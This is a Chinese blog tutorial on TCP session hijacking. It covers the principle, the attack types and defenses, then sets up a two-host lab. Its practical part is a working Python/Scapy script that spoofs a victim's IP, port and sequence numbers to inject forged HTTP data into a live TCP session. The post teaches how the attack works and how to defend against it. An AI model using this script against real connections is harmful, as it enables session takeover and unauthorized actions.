首页 > 其他分享 >使用 Scapy 库编写 TCP 劫持攻击脚本

使用 Scapy 库编写 TCP 劫持攻击脚本

时间:2024-06-09 17:33:54浏览次数:11  
标签:劫持 ip Scapy TCP server victim port

一、介绍

TCP劫持攻击(TCP Hijacking),也称为会话劫持,是一种攻击方式,攻击者在合法用户与服务器之间的通信过程中插入或劫持数据包,从而控制通信会话。通过TCP劫持,攻击者可以获取敏感信息、执行未授权的操作或中断正常通信。

1.1 TCP劫持攻击的原理

TCP劫持攻击主要利用了TCP协议的以下特性:

  1. 序列号预测:TCP连接中的数据包是按序列号顺序传输的,攻击者可以通过监听网络流量预测下一个有效的序列号。
  2. 中间人攻击(MITM):攻击者可以通过中间人攻击拦截和篡改通信数据包,从而控制通信会话。

1.2 TCP劫持攻击的类型

  1. 主动劫持:攻击者通过发送伪造的数据包中断或接管现有的TCP连接。
  2. 被动劫持:攻击者通过监听网络流量,获取会话中的敏感信息。

1.3 防御措施

  1. 加密通信:使用TLS/SSL等加密协议保护通信数据,防止攻击者监听和篡改数据包。
  2. 使用安全的序列号生成算法:在TCP连接建立时使用强序列号生成算法,增加序列号的不可预测性。
  3. 入侵检测系统(IDS):部署IDS实时监控网络流量,检测并阻止异常的TCP数据包。
  4. 网络隔离和分段:通过网络隔离和分段,限制攻击者获取敏感的网络流量。
  5. 双因素认证:在关键业务场景中使用双因素认证,增强通信的安全性。

通过这些防御措施,可以有效减缓或防止TCP劫持攻击,确保网络通信的安全性和稳定性。

二、实验环境

用户 Kali 在与服务器通信:192.168.134.147

服务器:192.168.134.148

三、实操演示

先获取到序列号及目标端口

以下是一个使用Python和Scapy库实现TCP劫持攻击的示例代码:

from scapy.all import *
from scapy.layers.inet import TCP


def tcp_hijack_attack(victim_ip, victim_port, server_ip, server_port, seq, ack, data):
    # 构造IP和TCP头部
    ip = IP(src=victim_ip, dst=server_ip)
    tcp = TCP(sport=victim_port, dport=server_port, seq=seq, ack=ack, flags="PA")  # PA表示带有数据的包
    payload = data

    # 发送伪造数据包
    send(ip / tcp / payload, verbose=1)
    print(
        f"Sent TCP hijack packet from {victim_ip}:{victim_port} to {server_ip}:{server_port} with seq={seq} and ack={ack}")


if __name__ == "__main__":
    victim_ip = "192.168.134.147"  # 受害者客户端的IP地址
    victim_port = 49658  # 受害者客户端的端口
    server_ip = "192.168.134.148"  # 服务器的IP地址
    server_port = 8080  # 服务器的端口
    seq = 182  # 预测的序列号
    ack = 426  # 确认号
    data = "GET / HTTP/1.1\r\nHost: www.hubstc.com.cn\r\n\r\n"  # 伪造的数据

    tcp_hijack_attack(victim_ip, victim_port, server_ip, server_port, seq, ack, data)

标签:劫持,ip,Scapy,TCP,server,victim,port
From: https://blog.csdn.net/2302_82189125/article/details/139435035

相关文章

  • TCP_MSS_OPTIONS_05:在SYN-ACK段中非法的MSS选项长度
    测试目的:本测试用例的目的是验证DUT(被测试设备)在发送SYN段后,能否正确处理来自TESTER的SYN,ACK段中非法长度的MSS选项,而不会发生崩溃。这确保了DUT在面对不符合协议规范的数据包时的稳定性和健壮性。描述:在TCP三次握手过程中,SYN-ACK段是响应主动打开连接请求的一方(通常是......
  • 使用 Scapy 库编写 TCP RST 攻击脚本
    一、介绍TCPRST攻击是一种拒绝服务攻击(Denial-of-Service,DoS)类型,攻击者通过伪造TCP重置(RST)包,中断目标主机与其他主机之间的TCP连接。该攻击利用了TCP协议中的重置机制,强制关闭合法的TCP连接,导致通信中断。1.1TCP重置机制TCP重置(RST)是TCP协议中的一种控制消息,用于立即终......
  • TCP_MSS_OPTIONS_03:未实现的TCP选项
    测试目的:本测试用例旨在验证DUT(被测试设备)在接收到包含未实现的TCP选项的SYN段时,是否能够正确处理并建立TCP连接。测试目的是确保DUT能够忽略它未实现的TCP选项,而不会导致连接建立过程中断或产生错误。描述:在TCP协议中,可能存在一些未被DUT实现的选项。根据TCP规范,未实现......
  • TCP_MSS_OPTIONS_02:在SYN段中无操作和选项列表结束选项
    测试目的:本测试用例的目的是验证DUT(被测试设备)在接收到SYN段中包含多个NoOperation(NO-OP)选项和一个EndofOptionsList(EOL)选项时,是否能够正确处理这些选项并成功建立TCP连接。描述:在TCP连接建立过程中,SYN段用于发起一个新的连接。除了用于协商参数的选项,如MSS,SYN段还可......
  • 使用 Scapy 库编写 TCP SYN 洪水攻击脚本
    一、介绍TCPSYN洪水攻击是一种拒绝服务攻击(Denial-of-Service,DoS)类型,攻击者通过向目标服务器发送大量的伪造TCP连接请求(SYN包),消耗目标服务器的资源,导致其无法处理合法用户的请求。1.1TCP三次握手在理解TCPSYN洪水攻击之前,首先需要了解TCP三次握手的过程:SYN:客户端向服......
  • 使用 Scapy 库编写 ICMP 不可达攻击脚本
    一、介绍ICMP不可达攻击是一种利用ICMP(InternetControlMessageProtocol)不可达消息来干扰或中断目标系统的网络通信的攻击类型。通过发送伪造的ICMP不可达消息,攻击者可以诱使目标系统认为某些网络路径或主机不可达,从而导致通信失败或性能下降。1.1ICMP不可达消息的工作原......
  • 使用 Scapy 库编写 ICMP 洪水攻击脚本
    一、介绍ICMP(InternetControlMessageProtocol,互联网控制消息协议)洪水攻击(ICMPFloodAttack)是一种常见的网络攻击类型,旨在消耗目标系统的网络资源和带宽。这种攻击通过发送大量的ICMP消息给目标系统,使其在处理这些消息时变得不可用或严重受限,导致服务中断或网络延迟增加。......
  • 使用 Scapy 库编写 ICMP 重定向攻击脚本
    一、介绍ICMP重定向攻击(ICMPRedirectAttack)是一种网络攻击,攻击者通过发送伪造的ICMP重定向消息,诱使目标主机更新其路由表,以便将数据包发送到攻击者控制的路由器或其他不可信任的设备上。该攻击利用了ICMP协议的合法功能,但以恶意方式使用,从而劫持或中断目标主机的网络流量。......
  • TCP_MSS_OPTIONS_01:在SYN段中非法的MSS选项长度
    测试目的:此测试用例旨在验证DUT(被测试设备)在接收到具有非法选项长度的MSS(最大报文段大小)选项的SYN段时的健壮性。测试目的是确保DUT能够处理这种情况,而不会崩溃或出现异常行为。描述:在TCP连接建立过程中,SYN段用于发起一个新的连接。MSS选项是SYN段中常见的一个选项,它用于......
  • TCP_CLOSING_13:[已关闭] RST -> [已关闭]
    测试目的:本测试用例的目的是验证当TCP处于CLOSED状态时,对于接收到的RST(重置)控制消息的处理机制。根据TCP协议规范,当TCP在CLOSED状态时,它应该忽略任何接收到的RST消息,并且不会产生任何响应。描述:TCP连接在CLOSED状态下是完全关闭的,不准备进行任何数据传输或连接建立。在这......